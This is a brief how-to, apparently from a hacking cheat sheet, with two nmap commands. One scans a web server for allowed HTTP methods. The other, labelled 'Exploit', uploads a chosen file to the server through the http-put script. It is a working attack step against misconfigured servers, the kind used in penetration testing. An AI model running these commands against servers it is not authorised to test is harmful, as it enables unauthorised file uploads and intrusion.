How to use HTTP-PUT method to upload your file to the webserver.
Scan:
nmap -script http-methods -p 80 -script-args http-methods.url-path='/' TargetServerHere
Exploit:
nmap -p 80 TargetServerHere -script http-put -script-args http-put.url='/myIndex.txt',http-put.file='/opt/ogcyb3r.txt'